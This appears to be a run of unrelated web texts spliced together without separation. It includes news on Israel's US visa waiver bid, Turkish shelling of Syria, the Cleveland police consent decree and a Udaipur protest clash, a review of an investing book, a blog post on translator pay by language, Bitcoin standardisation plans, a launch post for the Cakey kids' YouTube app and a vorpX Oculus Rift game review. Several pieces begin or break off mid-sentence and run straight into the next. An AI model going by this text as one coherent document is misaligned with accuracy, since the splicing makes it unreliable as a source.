Each of those countries added in 2008 continues to maintain nonimmigrant visa refusal rates higher than Israel’s.
The other exemption is from a requirement in the law that participating countries provide “reciprocal privileges to citizens and nationals of the United States.”
The Senate version would require Israel to make “every reasonable effort, without jeopardizing the security of the State of Israel, to ensure that reciprocal travel privileges are extended to all United States citizens.”
Israel has come under fire from Arab-American groups and some lawmakers in recent years for refusing entry to Americans of Arab descent, most recently refusing reentry to an English teacher at a Christian school in Ramallah who was returning from Christmas holidays in Jordan.
The inclusion of the visa waiver language in the Boxer-Blunt and Ros-Lehtinen-Deutch bills is significant, because these bills, which would designate Israel a “major strategic ally,” have significant backing and are more likely to pass than the earlier stand-alone visa waiver bills.
Times of Israel staff contributed to this report.Executive Summary In the world of investing, the Holy Grail is finding an investment manager who can reliably, persistently deliver alpha – a feat that seems to be of increasing rarity, as active managers in the aggregate continue to see outflows due to ongoing underperformance. Yet in their new book “The Incredible Shrinking Alpha”, Larry Swedroe and Andrew Berkin make the case that the woes of the active management industry are not merely an artifact of the post-financial-crisis investment environment, but are a result of the ongoing evolution of the investment management industry. As research continues to identify unique risk factors that are rewarded with excess returns, what was once believed to be alpha is increasingly turning out to be an active manager who simply invested to benefit from a not-yet-identified-as-such risk factor. Yet as the number of known risk factors increases – along with the availability of new solutions to passively invest in them at a low cost – it is more and more difficult to find active managers really adding something beyond an appropriately-factor-adjusted benchmark. And the situation is only further complicated by an increasing volume of professional managers competing against each other for a limited pool of available alpha where it is harder than ever to outperform against similarly-highly-skilled peers. Of course, the caveat is that just as the investment research has evolved from one factor to three and now five, more factors may be found in the future that still create alpha opportunities in today’s marketplace. And given that not all factors are favored at once, tactically allocating amongst the risk factors may also present an opportunity for an active manager to add value. Nonetheless, Swedroe and Berkin do make a compelling case that the odds an active manager can even find any alpha, and wrest it from increasingly competitive set of peers, is not great, as getting a hold of a reasonable share of the shrinking pool of alpha is truly harder than it has ever been.
In his now-famous 1991 paper, “The Arithmetic of Active Management”, Bill Sharpe noted that active management in the aggregate is a zero-sum game. After all, the market itself is comprised of the aggregate of all the underlying transactions in the first place… which means by definition, the weighted average returns of active investors must add up to the market itself. Some investors will outperform (by luck or even by skill), but an offsetting number must underperform (again by luck or [lack of] skill) as well. And to the extent that transaction and management costs drag the return down, the after-expenses sum of active management is negative.
Notwithstanding this truth in the aggregate, though, there are no shortage of active investors who try to be in the “outperforming” group, seeking to either be (or find) a manager who can deliver “alpha” – an excess return after accounting for exposure to risk. And while such managers are rare, they can be found historically – from Graham and Dodd and John Maynard Keynes to Peter Lynch and Warren Buffett. Yet a growing base of research is raising the question of whether even the greatest investment managers in history were really active investing geniuses, or were simply rewarded for investing in and taking advantage of a unique
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and encouraging people."
Another commented on Usmanov's 'gift' to the Uzbek people: "He would have been better off if he had helped children with cancer; that would have been a gift!"
In an apparent reference to energy and food shortages in the country's regions, another Facebook comment read: "He could have provided regions with potatoes, gas and electricity."
Image copyright AFP Image caption Islam Karimov, who died in September 2016, was the country's first president
Many Uzbeks believe Uzbekistan's economy has suffered under the isolationist policies of its late leader Islam Karimov. The country has been left with an unfavourable business climate and lack of industrial development, remaining reliant on exports of natural resources.
The new president Shavkat Mirziyoyev has been trying to open up the country for foreign investors, and Usmanov is one of them.
But the reforms have only started and the economy is now undergoing a transition period, which means many people are feeling the pinch.
Its not the first time Uzbekistan has hosted global artists. Andrea Bocelli, Julio Iglesias, and Anna Netrebko are among the world-renowned singers who have performed in Tashkent over the last few years.
Sting has also performed in the country, although amid some controversy.
In 2010 the British singer was criticised in media reports, including The Guardian, which claimed he accepted more than £1m to perform for Gulnara Karimova, the daughter of Islam Karimov, Uzbekistan's late leader.
Karimov died in September 2016 and was the country's first president. His rule saw the country emerge from the collapsing Soviet Union to become an independent nation.
Human rights groups say that, under Karimov, Uzbek security services carried out abuses using slave labour, torture and even boiling people alive. However, in the past year some cautious reforms have been passed under Mirziyoyev's presidency.
Additional reporting by BBC MonitoringYou probably have one of two motivations for becoming a translator:
You enjoy languages You want to make some money in exchange for you knowledge of those languages
Doing translation work fills the first need; becoming a successful professional translator fulfills the second. Of course, first you have to decide if becoming a translator is worth it.
That’s what this post is about.
Maximizing your potential for making money as a translator or language professional.
First, let’s talk about translation languages.
One of the most important factors determining how much money you make is your decision about which language(s) you should learn and translate to/from.
Let me be honest here.
In general, your language combination will affect how much you earn.
If you choose a poor language combination, you won’t be making as much as you could had you chosen a better language pair.
Translation Employment Outlook
Before getting into specific languages, though, let’s look at the general job prospects for translators in the United States as a whole.
According to the Bureau of Labor Statistics Occupational Outlook Handbook, 2014-2015 Edition, over 60,000 people in the U.S. were employed as translators or interpreters in the 2012.
According to the report, this number is currently set to grow 46% by 2020, when the projected employment for translators and interpreters will get to just under 93,000.
The average projected growth for all jobs is only 11%, so the 46% projected growth for the language field bodes well for translators and interpreters.
Translator Salaries
It’s one thing to know about projected growth in the industry which points to more job opportunities for beginning translators and interpreters. However, it doesn’t say anything about the kind of money translators and interpreters can make.
For that we can look at the Bureau of Labor Statistics Occupational Employment Statistics which was published in May 2014. These statistics provide a more complete breakdown of the translation and interpretation industry in the United States, complete with salary data.
First, look at the annual mean wage of translators and interpreters by state in May 2014:
The darker shade of blue, the higher the annual mean wage. The five highest states, with their annual mean wages for translators and interpreters, are the following:
One thing to notice about this data is that the states with the highest annual mean wage are not necessarily the states with the highest population, which you might expect at first.
In fact, this is most definitely not the case. Check out the graphic below:
The top 5 states with the highest employment of translators and interpreters are the following:
Out of the top 5 states in each category above, Virginia is the only state that has one of top 5 annual mean salaries as well as with one of the top employment numbers.
This is all fine and good to know, especially for in-house translators. In looking at the fine print of this data, we read the following:
Estimates for detailed occupations do not sum to the totals because the totals include occupations not shown separately. Estimates do not include self-employed workers.
It makes sense that if you’re an in-house translator, you will probably find higher employment numbers and higher mean wages in states that hire increased numbers of translators for both federal and state governments.
But what if you don’t want to be an in-house translator tied to a specific location and would rather work for yourself as a freelance translator?
Well, freelance translation, by its very nature, allows people to live where they want and then work globally. If that’s what you want, then, it shouldn’t matter where you live. You could live in a cabin in the woods of Montana or in the heart of New York City. If your clients are remote, they don’t care where you live, either.
Top Paying Languages for Translation
If your marketing is good and you can approach clients and sell your services well, and don’t forget the three lies about becoming a translator, one of the most important factors that will affect how much you earn as a freelance translator is your language combination.
Choose wisely.
Here’s why.
Not all language combinations are created equally.
Some combinations earn more than others. Some can even earn up to $0.10 a word more than others. That’s a big difference and can really add up.
Take a 3,000 word document. If you’re earning $0.10 a word, you’ll earn $300. However, if you’re making $0.20 a word, you just doubled your earnings on that same document, bringing in $600.
Of course, translation doesn’t always work like this.
Earning money from translation depends on two things:
Supply of translators with your language combination It’s simple economics. The more translators there are for your language combination, the less those translators (and you) will typically earn. The scarcer your language combination is, the more you can charge per word. Demand of your language combination Being able to translate from Xhosa into Uyghur might enable you to command a high price per word; however, there probably aren’t that many clients out there needing documents translated between those languages.
Less work usually means less money.
Take a look at this awesome graph I drew up in 13 seconds:
Guess where you want to be as a translator?
Yep, one of the top two sections:
a) High Demand + Low Competition
b) High Demand + High Competition
But first, let’s talk about the lower two sections.
Without demand for a given language combination, you are not going to make any money as a translator for those languages.
The Xhosa – Uyghur example previously mentioned would fit into the Low Demand + Low Competition category. Despite there being no competition, there is also no demand. You’re not going to get rich.
OK, so as a person thinking about learning a language and becoming a translator, you’re going to want to be in one of the top two quadrants, but preferably the top left one with high demand and low competition.
The question then becomes how to figure out which languages are going to be located in this quadrant.
Unfortunately, there isn’t that much data out there for you to figure out how to logically choose the best language for earning the most money.
Luckily, though, there are some metrics we can use to make some discoveries.
This is where oDesk comes in.
For those unaware, oDesk is a platform like eLance, where skill providers can bid on potential jobs posted by clients. While these types of websites aren’t ideal for translators (they stink, actually), they can provide some metrics in determining which languages are more in demand and which languages have more or less translators.
So here’s what I did. I took the top 9 most used languages (along with Swedish) on the Internet globally (Internet users by language), and then did a quick search to see how many jobs were needed for those languages.
Then I did a quick search to see how many translator providers there were for those languages.
Here were the results:
Languages (+English) # of Jobs # of Translators Chinese 411 4,647 Spanish 716 21,941 Japanese 285 4,067 Portuguese 240 6,374 German 484 10,407 Arabic 369 9,406 French 585 19,777 Russian 312 9,810 Korean 134 1,869 Swedish 109 2,137
I then normalized the numbers so they would be weighted equally and plotted them on a graph, overlaid on the demand and competition graph from above.
Here were the results:
As you can see, Spanish and French top the list of the languages with the most competition but also the highest demand. At the other end of the spectrum, you have Korean and Swedish with lower demand but also with lower competition among translators. The sweet spot between all ten languages seems to be Chinese and Japanese.
Of course, it’s important to remember that these results come from a single data source and only include nine languages.
In addition, the data source is not one that is used by most successful translators. Most translators that are making good money as language professionals are either doing in-house translation work or are working with direct clients.
Very few are bidding for jobs using online job boards.
But this metric can be useful. If you interested in becoming a translator but aren’t quite sure which language to pick, looking at this graph could help you decide where you want to place your efforts.
Are you OK with more competition but more demand? Choose Spanish and French.
Don’t want to fight over translation jobs? Japanese or maybe even Korean might be better suited for you.
ATA Language & Translation Data
Another source to look at when it comes to figuring out which language combinations command the highest return is a survey by the American Translators Association that it conducted in 2008.
ATA sent out an email survey to 8,700 ATA members and nonmembers in 2007. There was an %11 response rate, with ATA receiving back 979 completed surveys.
The survey attempted to extract demographic and translation-related information from the participants. One piece of information is especially relevant to this discussion.
Here is the paragraph from the report:
At an average of $0.19 per word, the language combinations commanding the highest rate per word were English into Arabic and English into Danish. At an average of $0.12 per word, the language combinations commanding the lowest rate were English into Italian and English into Portuguese. The highest average hourly rates by language combination were English into Chinese ($74.92) and Chinese into English ($65.79).
Both Arabic and Chinese are on the high end of the pay spectrum while Romance languages Portuguese and Italian were on the low end.
Of course, different translators have different experiences and there are plenty of anecdotal stories from translators claiming that one language combination is better paying than some other language combination.
The Importance of Specialization
OK, so we’ve talked about locations in the United States and corresponding translator pay rates. We’ve realized that location can be important, but is not as important as language combination.
However, there’s one more thing to consider when trying to decide which language pair to learn, and that would be your area of specialization.
While having a language combination in the upper quadrants is a must for any freelance translator trying to make significant money, another important thing you can do is choose an area of specialization that is in high demand.
And what are those specializations, you might ask? Well, going back to the ATA compensations survey, we read that out of the nearly 1,000 survey respondents:
The most common areas of specialization reported were business/finance (57%), law (55%), medicine (47%), and industry and technology (38%). Uncommon areas of specialization included entertainment (18%), natural sciences (16%), and pure sciences (8%).
No surprisingly, this is also where the biggest demand for translators lies. If your area of specialization falls within the categories of business/finance, medicine, or industry and technology, you will be much better off than someone who either a) has an area of specialization so focused that there is no demand for it, or b) has no area of specialization at all and only focus on general translations.
Of course, it would be nice to have access to the raw data to do some additional queries. For example, do most Japanese/English translators work in a certain specialization? Drilling down to that level of granularity could give us even more information when choosing not only a language combination, but also an area to focus on.
P.S. Making an informed decision on language and specialization choice is the first step. Implementing a viable translation business is the next. For that, read about what you need to succeed as a freelance translator.
Like this: Like Loading...The Associated Press
ANKARA, Turkey -- Turkish artillery units on Tuesday shelled Islamic State group targets across the border in Syria, officials said, hours after rockets fired from Syria struck a Turkish border town, killing a man and wounding seven people.
Two rockets hit the town of Kilis early in the day in the third such cross-border incident in the past five days. One rocket struck a guesthouse while the second landed on an empty field near a bus terminal, the state-run Anadolu Agency said. Eight people were wounded and one of them -- a 42-year-old municipality employee -- later died in hospital, the agency reported.
Authorities evacuated children from a nearby youth centre that has been turned into a temporary school for Syrian refugees, the report said.
Turkey's military routinely retaliates to rockets or shells that land on Turkish territory. On Tuesday, artillery units fired at IS targets around the town of Azaz in northern Syria, Anadolu reported.
The agency, citing unidentified security sources, said the targeted IS positions were located around the villages of Sawran, Dabiq, Akhtarin and Ehtemlat and added that the "intensive shelling" was continuing.
Prime Minister Ahmet Davutoglu said the Turkish military had responded to rockets "immediately in line with the rules of engagement."
"We are determined to take every step that is necessary," Davutoglu said.
The wider province of Kilis borders areas in Syria that are controlled by the Islamic State group, Syrian Kurdish militia or anti-government Syrian rebels.Workers at the Andrus Dairy near Birnamwood, WI who were captured on video kicking and punching cows won’t be prosecuted, according to Scott E. Niemi, assistant district attorney for Shawano-Menominee Counties. In a “Notice of No Prosecution,” Niemi suggested owner Alan G. Andrus could fire or retrain the employees, and warned that the dairy farm “will be inspected by someone at some time in the future and any abuse noted will be attributed to him as he has been warned of the issues.” “If Mr. Andrus wishes, forfeiture actions could be started against some of his employees,” the assistant district attorney wrote. “However, the actions of the employees caught on video do not amount to a situation where criminal charges are warranted based upon the review of state and local vets.” This latest hidden camera video came from Mercy for Animals’ undercover operative Matt Rice who had someone get a job at the Andrus Dairy under an assumed name. The famed animal welfare expert, Colorado State University Professor Temple Grandin, condemned the actions seen in the footage. “The handling of dairy cows in this video is not acceptable,” Grandin said. “Employees must be trained to never kick or hit a cow’s udder or face. High pressure water shot in the eye is abusive.” Mercy’s release of the video caused the Hiram, OH-based Great Lakes Cheese, which said it purchased “an infinitesimal amount” of cheese from Mosinee, WI-based Mullins Cheese, which in turn got a small amount of milk from Andrus Dairy, to cut those supplier relationships. Great Lakes Cheese said it expects all of its suppliers to meet its established animal welfare policies and it will not accept any cheese made with any milk from Andrus Dairy because of the incident. Andrus told the Cleveland Plain Dealer newspaper that the video showed isolated events that were “blown out of proportion,” and he defend the practice of tail docking. Footage for the undercover video was taken between July. 19 and Aug. 22. Mercy then contacted local law enforcement, which conducted its own investigation before turning the issue over the to district attorney’s office, which declined to prosecute on Oct. 30.The Associated Press
ALLENTOWN, Pa. -- A Pennsylvania man who stole $1 and a houseplant he thought was marijuana during a series of break-ins in March has been sentenced to up to 15 years in prison.
The Morning Call reports 21-year-old Maico Rosado Jr. was sentenced Wednesday to 7 1/2 to 15 years after pleading guilty in August to robbery and three counts of burglary.
Police say Rosado broke into Jabber Jaws Bar & Grille in Allentown. Police say the manager confronted Rosado but backed off when Rosado pointed a gun at him. Rosado then made off with a keepsake dollar.
From there, police say Rosado broke into a house and left with a plant. Officers say he then threatened a woman with his gun before taking her purse. He was arrested shortly afterward.Media playback is not supported on this device Eddie Jordan looks at whether Volkswagen are taking over Red Bull
Singapore Grand Prix on the BBC Venue: Marina Bay Circuit Date: 18-20 September Coverage: Highlights on BBC TV, coverage on BBC Radio 5 live and sports extra, online, mobile, the BBC Sport app and Connected TV
German car giant Volkswagen is close to agreeing a deal to take over the Red Bull Formula 1 team, says BBC F1 chief analyst Eddie Jordan.
The agreement would see VW buy the team and build its own engine, while Red Bull continues as a major sponsor.
Jordan says a VW engine would not enter F1 until 2018 and Red Bull would use Ferrari power in the interim.
The team will split with current engine partner Renault after this season, ending their contract a year early.
"Red Bull and VW have been in on-and-off talks for more than a year and I understand that the fundamentals of a deal for the sale of the team have been agreed," said Jordan.
"An arrangement whereby VW would take it over, becoming the fourth major manufacturer in F1, and Red Bull would continue to enjoy the high profile that comes from a major sponsorship suits both parties."
It is not clear which of the VW Group's brands would be promoted in F1, although Audi is the favourite. The company also owns the Porsche, Lamborghini, Bugatti, Bentley, Seat and Skoda marques.
Red Bull, the four-time constructors' champions, are struggling to match Mercedes and Ferrari
Red Bull boss Dietrich Mateschitz told his company's Speedweek website on Friday that his team's split from Renault was concluded "a few weeks ago".
He said using a Ferrari engine would be "a very acceptable solution for the next two or three years" but a contract with the Italian company was not finalised.
Any VW deal would represent a triumph for Martin Winterkorn, the chairman of the VW board of directors, in an internal power struggle.
Winterkorn has agreed the deal with Mateschitz and the drinks giant's motorsport adviser Helmut Marko, Jordan says.
VW and Red Bull have long-time links and are currently partners in the world rally championship.
BBC Sport understands Winterkorn agreed a deal to buy out Red Bull last winter but the plan was vetoed by former VW Group chairman Ferdinand Piech.
Media playback is not supported on this device Archive: What is going wrong at Red Bull?
Piech was ousted in a boardroom power struggle and resigned in April.
In May Marko said: "If we don't have a competitive engine in the near future, then either Audi is coming or we are out."
Red Bull team principal Christian Horner has consistently denied that the team have held talks with the VW Group.
He told BBC Sport in June: "There has been no dialogue with VW or Audi."
On Thursday and Friday at the Singapore Grand Prix, Marko and Horner repeated the threat that Red Bull would quit F1 if they did not get a strong engine.
Watch Eddie Jordan discuss VW and Red Bull ahead of Singapore Grand Prix qualifying on BBC One at 17:10 BST on Saturday 19 September
Singapore Grand Prix coverageCLEVELAND, Ohio -- Forty-seven years ago, the U.S. Supreme Court used a Cleveland case to define when police could legally stop and search people.
"It is a serious intrusion upon the sanctity of the person, which may inflict great indignity and arouse strong resentment, and it is not to be undertaken lightly," Justice Earl Warren wrote in the Terry v. Ohio decision.
Now, a federal court is again about to reestablish those guidelines through the consent decree announced last week by the city and the U.S. Department of Justice.
In word, the department's policy won't change much. But a federal court will now monitor officers' interactions with people, ensuring that the words and the actions are compatible.
A comprehensive look at use-of-force abuses and a lack of accountability throughout the Cleveland Division of Police revealed in a report released in December did not include a thorough study of possible racial profiling and illegal search and seizure.
"...despite the fact that we are making no finding regarding racial profiling, we must report that when we interviewed members of the community about their experiences with the police, many African-Americans reported that they believe CDP officers are verbally and physically aggressive toward them because of their race."
This changed once Cleveland police brass, Mayor Frank Jackson and Justice Department officials began speaking with the community, and ultimately decided that more accountability for police stops was necessary.
"If you listen to the community and what they're talking about, you can't ignore the fact that it was a major concern," Jackson said in an interview last week. "If it could be supported by data or not was not relevant. You address the concern."
Cleveland police policies on stops and searches won't change much under the consent decree revealed last week, but the levels of accountability peppered throughout the agreement could thwart, as some residents hope, unwarranted police interaction.
The 105-page contract between the city and the Justice Department, which still needs approval from a federal judge, would demand that officers conduct stops and searches in a way that protects citizens' rights. But so does current police policy, leaving some Clevelanders skeptical about a reprieve from unjustified stops and searches.
"Without a doubt, some people are stopped because of race," said James A. Sullivan, a 64-year-old black man who for eight years has run a block watch on the West Side. "I hate to say it, but you got some shady cops out there."
Officers, according to the consent decree, would not be able to stop a person based on race, gender, ethnicity, national origin or perceived sexual orientation. The language closely resembles what is found in current police policy, which doesn't include the "national origin" clause, but adds "religion."
Such factors could not be used to establish reasonable suspicion, which would justify a stop. An exception could be made if one of the factors is part of "an actual and credible description of a specific suspect in an investigation that includes other identifying factors," the consent decree states.
The police department's current two-page policy on citizen stops also requires reasonable suspicion to justify a stop.
In the consent decree, a pat-down search would be justified if an officer has "specific and articulable facts" that would evoke a reasonable suspicion to believe a person is armed and dangerous.
The current police policy on frisk searches -- "a limited protective search for concealed weapons or dangerous instruments" -- calls for the same, in so many words.
Marion Williams, a 40-year-old black woman who lives on the city's East Side, said she is leery of police and their reasons for stopping and searching citizens.
"I ain't got nothing to hide, but I feel they should be watched too," Williams said. "Sometimes I question them. I mean are they really here to serve and protect?"
Under the consent decree, officers who conduct stops and searches would be watched with more scrutiny than ever.
Any officer who makes a stop or search would have to document a host of details, including: the perceived race, ethnicity, age and gender of the person being stopped; whether that person consented to a requested search; and clear reasons for the stop and or search. No "canned" language would be allowed, the consent decree states.
The agreement would require supervisors to review all documentation of stops and searches for completeness and adherence to laws and police department policies.
Supervisors then would have seven days to document and report any stops or searches that are not supported by reasonable suspicion, violate department policy or point to inadequate training, policies or tactics.
The consent decree would force supervisors to send their reports to a commander, who would conduct a second review. The commander could then forward the case to Internal Affairs, a department that under the consent decree would be led by a civilian.
All stop and search data would be collected and analyzed.
Robin Adelmann, a 35-year-old woman who lives at a downtown homeless shelter, said she welcomes the layers of accountability.
"The change does sound positive," Adelmann, who is white, said. "Any change we could make at the moment would be positive. Police totally need to be watched, or else they can get away with everything."
Tyrese Morrison, a 14-year-old boy who lives on the East Side, said he would have to witness the changes offered in the consent decree in action before becoming any less anxious about being black near police.
"When I see cops, I just run," Morrison said. "I haven't had any problems with the cops. I just don't trust what they're going to do or how they're going to do it."
The oversight demanded in the consent decree would come with specialized training.
An instructor "with significant experience in Fourth Amendment issues" would teach officers how to conduct stops and searches that do not violate rights or the consent decree, according to the agreement.
The training would include instruction on the differences between speculation, reasonable suspicion and probable cause. Officers would also be schooled in policing with professionalism and courtesy.
Dennis Chisholm, a 56-year-old black man who lives on the East Side, said he shows police respect and is treated with respect in return.
"Police is police," Chisholm said. "They're here to protect us."
Still, he thinks bolstering oversight is a good thing.
"Police need to be reviewed just to see that they're doing their job."The Bitcoin Foundation’s Financial Standards Working Group has shed new light on its priorities for the next six months, announcing it will attempt to standardise bitcoin’s code, currency symbol and subunits over that period.
The group’s formal plan of action follows its first emergence as an unnamed standards committee this June, when a post on the Bitcoin Foundation community forum called for volunteers for the initiative.
The Bitcoin Foundation framed the group as one that will seek to smooth bitcoin’s path to mainstream adoption by creating commonly accepted symbols for bitcoin as a currency and ensuring the digital currency’s compliance with international standards.
Emphasizing this position, Bitcoin Foundation executive director Jon Matonis said:
“Standardization is an important step towards removing obstacles for mainstream adoption – this is especially true with a technology for financial innovation that is global in reach.”
Goodbye to BTC?
The first task for the foundation will be to apply for ISO 4217 approval, which would lead to an industry-approved bitcoin currency code.
ISO codes are a global standard for banking and business, and compliance would more closely integrate bitcoin, enabling “more fluid transactions and currency conversions”.
The current code, BTC, does not comply with ISO 4217, which requires the first letter used in global commodities to be ‘X’. For example, gold is classified as XAU. Emerging supranational currencies like the euro are also classified with an X, so the precursor to the euro used the XEU code.
The foundation pointed out that several leading foreign exchange tools, such as XE.com, Oanda and Bloomberg, have already adopted XBT as the code for bitcoin. However, the vast majority of the bitcoin community and most media outlets still use BTC.
B, ฿ or Ƀ?
The group will also seek to create a Unicode-approved bitcoin symbol, an issue that has long been debated by the bitcoin community.
Without a Unicode symbol, there is no option for displaying a symbol in a standard computer typeface. While seemingly small, many community members have argued that the issue could hinder long-term adoption, as both online and print media are forced to use non-standard workarounds.
The leading symbols that will be considered for bitcoin are B, ฿ and Ƀ, though the Bitcoin Foundation said it will seek to involve the community in its ultimate decision.
“The working group will deploy a consensus-based process for reaching an agreement for the official currency symbol,” the foundation said.
How many decimal places?
Finally, in addition to the new symbol, the working group has also been tasked with standardising bitcoin’s subunits, an increasingly important issue as 1 BTC is valued in the hundreds of dollars and needs to be easily divisible to transact in smaller day-to-day quantities.
The foundation explained the issues that would be addressed by standardisation:
“Currencies today operate with two decimal spaces to the right ($1.00). In bitcoin, there are currently eight so one could theoretically pay you 0.00000001 or one hundred-millionth of a bitcoin. Not only is this confusing for consumers, it does not fit in existing systems and software for accounting practices.”
The working group is run by volunteers and headed by NASA veteran Beth Moses, who has previously helped standardise and test extravehicular interfaces for the International Space Station.
Moses is currently designing and building equipment and facilities for Virgin Galactic – flights for which are already on sale for BTC. Or is it XBT?
Bitcoin image via ShutterstockFormer Rep. Barney Frank (D-Mass.) was recently condemned by al Qaeda publication Inspire Magazine for being gay, but he's not upset. Instead, he said, he finds it ironic.
In an interview with BuzzFeed, Frank compared the al Qaeda criticism to the responses he's received from conservative Americans, saying it reminded him of the way the tea party reacted when he married his partner.
"I wonder how the right wing in America feels about being aligned with al-Qaeda," Frank said. "There is an irony that the most active anti-gay [groups] are al-Qaeda and the American right-wing."
Inspire Magazine's most recent issue spotlighted the issue of gay marriage, criticizing "the gay congressman" along with President Barack Obama for his support of marriage equality. The al Qaeda-produced English-language publication is intended to egg on wannabe terrorists by educating them on how to cause harm to their communities. The magazine has been linked to the Boston Marathon bombing and may have helped Dzhokhar and Tamerlan Tsarnaev assemble explosive devices.
Frank, who retired this year after 16 terms in Congress, married his longtime partner, Jim Ready, in July. Massachusetts Gov. Deval Patrick (D) officiated the ceremony, which was attended by an array of politicians, including House Minority Leader Nancy Pelosi (D-Calif.).Policemen in Rajasthan were injured after hundreds of activists, belonging to right-wing groups, attacked police personnel during a demonstration.A migrant labour from West Bengal was murdered, following which protests broke out demanding death penalty against the Shambu Lal Regar. The protestors also shouted slogans against right-wing groups.The video of the protest went viral, thus enraging the right-wing, who held a demonstration of their own, demanding that the ones in the video clip be charged.To try and control the unruly right-wing protestors, police lathi-charged them. The ensuing clash led to injuries on both sides.Shambu Lal, the accused who is now in custody, had hacked a Muslim migrant labourer in a bid to ‘save Hindu girls’ and had called his action a war against Love Jihad.The clash between protesters and police took place near Court Circle in Udaipur around 5 pm. Activists had gathered at the spot, defying prohibitory orders in Udaipur and Rajsamand.Sudhir Joshi, additional superintendent of police, was among those injured in the clash, said the police. They also claimed that at least 20 activists were also detained.The video clip, against which the Hindu outfits were protesting, was shot at Chetak Circle and has been widely circulated on social media, messaging apps.Udaipur Inspector General of Police, Anand Srivastava said that the prohibitory orders will continue for a couple of days depending on the situation.Meanwhile, state Bajrang Dal chief Indrajit Singh claims that Udaipur SP had assured him of action against those in the video.When ComicBook.com reported on word that Ant-Man would feature Yellowjacket as a villain (possibly played by Patrick Wilson), lo those many minutes ago, we advised our readers to take it with salt.
That's because, while Badass Digest's Devin Faraci is a reliable reporter, the phrasing of the story left us wondering whether he was speculating or confirming from firsthand knowledge. Erring on the side of caution, we labeled the story a rumor.
Within about ten minutes of running that story, though, a trusted source reached out to ComicBook.com to independently verify the story, providing details that we agreed to keep quiet in order to convince us of its veracity. As we stated in the previous story, the report already seemed like a rumor that was plausible and common-sense enough to be true on its face, and a secondary confirmation from a source who's never misled us before is enough to call it confirmed.Introducing Cakey
A better way for your kids to watch YouTube
james hong Blocked Unblock Follow Following Nov 21, 2014
Hi I’m Cakey. I was named after the Hawaiian word for children: “Keiki”.
Note: iPad/iPhone users can try Cakey using this link. Android users, sign up to be notified when a version for you is ready.
If you’re a parent of young kids, I bet you have the same problem I used to have.
My kids love YouTube and the huge variety of videos they find there, but as a parent I am always nervous letting my kids drive the YouTube app by themselves. Not only are they bombarded with ads (sometimes even scary ones), they always somehow find their way to videos that are not age-appropriate.
YouTube is a veritable minefield of age-inappropriate videos. For instance, if you let your kids watch Caillou videos, there’s a chance they may find their way to the popular video “Caillou’s Gay Halloween Sex Orgy”.
YouTube loves videos like Caillou’s Gay Halloween Sex Orgy.
This video has over 200,000 views, over 2,000 likes, and only about fifty down votes. As far as YouTube is concerned this is a good video that many people find hilariously funny, but do you want your children watching Caillou’s Gay Halloween Sex Orgy? I certainly don’t.
The fundamental problem lies in the fact that YouTube works hard to ensure “rated R” type content does not make it onto the site, but as parents what we care about is that our kids only see “rated G” type content. There is a lot in between G and R, and unfortunately on YouTube my kids (and yours) can see all of it.
Every time I hand my kids the YouTube app, I am constantly having to “helicopter”, waiting for the moment when I have to grab the iPad away from them. I find myself having to pay constant attention because I never know what the kids will stumble upon next.
Meet Cakey. He solves this problem.
Cakey is an app that provides a safe and empowering way for children to watch YouTube videos.
Your child will not encounter any video that you are not okay with. This is because you decide what videos are available within the app. However, like most parents I am super busy and don’t have a lot of time to curate videos for my kids, so Cakey comes pre-populated with hundreds of videos making it immediately useful.
Cakey lets you do less work because it’s not just an app, it’s a community.
Cakey works by asking parents to create kid-safe collections of videos for their kids (e.g. a collection of safe Minecraft videos) using a built-in collection builder. It’s really fast and easy to make them.
“It takes a village to raise a child” — (African Proverb)
But let’s be honest, life as a parent can be insanely busy. We can’t always find the time to do things like build safe video collections. Furthermore it doesn’t make sense for you to have to make a collection of kid-safe Minecraft videos if somebody else has already scoured YouTube to make one.
That’s why whenever a parent makes a collection, s/he is asked to share that collection at CakeyVillage.com for other parents to use. Instead of creating collections yourself, just browse Cakey Village and click to download the collections you want. They will appear the next time your child uses Cakey.
Cakey Village not only saves you time, it also taps the creativity of other parents to discover videos you might not have thought of adding. For instance, there is a collection called “Girl Power” meant to inspire girls and show them they are just as capable as boys. There are also collections like “Learn how to play chess” and “Astronaut Chris Hadfield describes life in space”. You can also sort collections by language if your child is learning a second language and needs more exposure to it. Kid videos don’t have to be dominated by mindless drivel designed to sell action figures. Rather than just being a babysitter, screen time in moderation with the right mix of content can be a positive, helping our children learn and grow.
Robert DeNiro approves of Circles of Trust! ;)
Even easier: coming soon, there will be a way for you to build a “circle of trust” with other users. When someone you trust (e.g. a friend, mother’s group, etc) creates or downloads a collection for their own kids, you can have Cakey notify you or even automatically download it to your device.
Kids can drive Cakey by themselves. Cakey’s user interface was designed to be simple so children feel empowered using it without help. For many children, having a sense that they can explore on their own is a big deal (and it gives parents a break too!)
Cakey doesn’t show ads and there are no in-app purchases. There are no advertisements
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the vorpX driver.Loading up GRID first you immediately get a sense of depth due to the 3D menus used in the game and it feels quite natural too. I had a little play around with the settings and tried various different resolutions and aspect ratios. The vorpX driver is supposed to work best with 4:3 or 5:4 aspects but every one I tried just didn't look right to me, I was noticing the overlap between lenses or just couldn't focus correctly. After playing though I noticed the game lets you choose an aspect separate from the actual screen resolution and I think I might have had it set to use a widescreen aspect on non-widescreen resolution or something weird like that. I stuck with 1280x800 since I wanted to try recording some video too and it looked correct to me though slightly stretched in the Y axis.I jumped in to a quick game and had a race around the Nurburgring. Disclaimer: it's been almost a year since I've played GRID and I would always play in chase cam mode. My 3 laps around this circuit in the Rift were some of the worst I've ever had in GRID but the sense of immersion was pretty cool and the depth was definitely there. I will probably have to play around with the settings in vorpX a little to see how it affects my view, the detail of the car interior looked especially detailed and the depth was obvious but looking out at the open track din't quite have the same effect.Also I should point out that Oculus Rift head tracking isn't currently supported in GRID when using vorpX but I hope it will make it in to a later release since that adds a whole extra level of immersion. Even without head tracking I loved playing the game and it didn't feel un-netural like other games have when you don't have head tracking movements.Apologies for the low FPS in this video when all the cars are on the screen, I wasn't expecting it to get so juddery on those packed corners!Next up I decided to try another game which is marked as being officially supported, Dear Esther. My previous experience in this game using Vireio almost made me sick. The view was all warped and the convergence wasn't right (due to my inability to configure Vireio), I'm sure when properly configured it's a great experience but part of what makes vorpX better in my opinion is it's zero configuration (or at least it's default implementation is similar to what we can expect from the default settings in Unity made games and demos).Loading up the game (yes from the beginning again, I've had this game for ages and never actually played it yet) I had a look around at the ocean and the lighthouse and immediately thought this looked much better than what I saw with the Vireio driver. Looking up at the lighthouse showed no warping or distortion and I could see it standing out from the sky. I walked around a little, checked out things that stood out to me the most like grass swaying against the sky, rocks standing on the ground and views of hills at different depths which really showed what vorpX was doing. I think if I am to ever play 